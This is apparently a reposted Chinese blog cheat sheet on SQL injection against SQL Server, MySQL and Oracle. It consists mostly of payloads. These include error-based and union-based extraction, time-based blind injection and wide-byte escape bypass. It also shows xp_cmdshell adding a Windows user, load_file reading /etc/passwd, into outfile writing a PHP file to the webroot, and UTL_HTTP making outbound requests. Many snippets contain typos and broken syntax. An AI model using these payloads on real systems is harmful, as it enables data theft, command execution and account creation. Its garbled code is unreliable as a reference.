sql注入新知识

来源:互联网 发布:玫瑰花园摆放软件 编辑:程序博客网 时间:2024/06/04 01:06

sql连接符号是“+”,oracle连接符号是“||”,mysql连接符号是空格
分类:数字型和字符型
不同叫法:post注入、cookie注入、延时注入、搜索注入、base64注入

sql server注入



枚举当前列表

利用数据类型错误提取数据
and 1>  (select top 1 username from users)
and 1> (select top 1 usernma from users where username not in('root')
and 1= conver(int ,(select top 1 users.username from users))
and 1=convert(int,(select stuff((select ...))))

获取元数据

select table_nmae from information_schema.tables
select column_name from information_schema.columns where table_name='student'

常见的表视图:sys.databases\sys.sql_logins\information_schema.tables\information_schema.columns7sys.all_columns\sys.databases_principals\sys.databases_files\sysobjects

order by 语句
判断表的列数

union查询

有的数据库,如果不知道列的数据类型时,就是用null:
union select null,null...

无辜的函数

select suser_name():用户的登陆标识名
select user_name():返回数据库用户名
select db_name():数据库名
select is_member('db_owner'):是否是数据库角色
select convert(int,'5'):数据类型转换

常用的函数:stuff:字符串截取函数

     ascii:取ASCII码
char:根据ASCII码取字符
getdata:返回日期
count:总条数
cast:将一种数据类型的表达式,显式转换成另一种数据类型的表达式
rand:随机值
is_srvrolemember:指定sql server 登录名是否为指定服务器角色的成员
危险的存储过程:执行系统命令,查看注册表,读取磁盘目录

最常用的是:xp_cmdshell

id=1?exec xp_cmdshell 'net user test test /add'
条件:拥有control server权限

常见的存储过程:

sp_addlogin:创建新的 sql server 登陆
sp_dropuser:删除数据库用户

xp_enumgroups提供本地组列表,在指定的windiws域中定义的全局组列表

xp_regwrite:写入注册表

xp_regread:读取注册表

xp_regdeletevalue:删除注册表

xp_dirtree:读取目录

sp_password:更改密码

xp_sercicecontrol:t停止或激活某服务

动态执行

sqlsever 支持动态执行语句,通过提交一个字符串来执行sql语句:
exec('select  username from users')
exec('selec'+'t+ username fro' +'m usernames')

mysql注入

#:注释从#到行尾
--:从--到行尾,后面一应该有空格或者tag
/**/:中间的字符
注意:select id /*!55555, username*/ from users
语句被正常执行,id和username被查询出,因为/*!*/感叹后有特殊意义,/*!55555, username*/ 表示,mysql版本高于或者等于5.55.55,语句将会被执行,如果!后面不加版本号,mysql将会直接执行SQL语句。
  • 获取元数据
    查询用户数据库名称:
    select schema_name from information_schema.schemata  limit 0,1
    查询当前数据库表
    select SCHEMA_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT 0,1
    查询知道那个表的所有字段:
    select column_name from information_schema.columns  where table_name='student; limit 0,1
  • union查询
  • mysql函数利用
    load_file()函数读文件操作
    条件:文件位置必须再服务器上,文件必须是绝对路径,用户必须有file权限,文件容量小于max_allowd_packet字节默认16k最大1g
    语句Lselect 1,load__file('/etc/passwd'),3,4..#
    如果过滤单引号,那么使用个十六进制的转换结果
    into outfile写文件操作
    select '<?php phpinfo(); ?>' into outfile 'c:\wwwroot\1.php'
    连接字符串:
    concat()或concat_ws()
    select name from student whwere id=1 union select concat(user(),',',database().',',version());
  • 显错式注入
    通过ipdatexml函数执行sql注入:
    select * from mesage where is =1 and updatexml(1, concat(0x7c,(select  @@version))),1);
    通过extractvalue函数
    select * from messagge where id= 1 and extractvalue(1,concat(0x7c,(select user())));
    通过floor函数
    select * from message where id= 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a form information_schema.tablesgroup by a)b
  • 宽字节注入
    由于编码不同统一造成的,出现在php+mysql中
    再php的配置文件php.ini中,存在magic_quotes_gpc选项,打开时,使用get\psot\cookie接收到的 ’,”,\,null,会自动加一个反斜杠进行转义。
    比如id='  就转义成\',但是如果id=%5'显示的结果就是�'    就可以继续进行闭合进行注入了
  • 长字节截断
    在进行插入语句时候,把字节的长度加长,比如正确的时admin,我们可以写入admin        x,然后系统会进行最大长度截断,最后得到的时admin,,我们就可以使用这个用户名密码进行登陆使用了
  • 延时注入
    sleep函数
    and if (length(user())==0,sleep(3),1)//得到长度
    and if(hex(mid(user(),1,1))=1,sleep(3),1)//首字符确认
    and if(hex(mid(user(0),L,1))=N,sleep(3),1)//递归破解到最后一个字符

oracle

都差不多。。。
  • 获取元数据
  • union查询
    这个数据库查询后面必须跟表名,比如union select null,null,null from dual
    而且后面必须要有数据类型,不知道有什么表可以使用dual代替
  • oracle中报的概念
    UTL_HTTP,提供了对http的一些操作
    select UTL_HTTPREQUEST('HTTP://WWW.BAIDU.COM') from duql;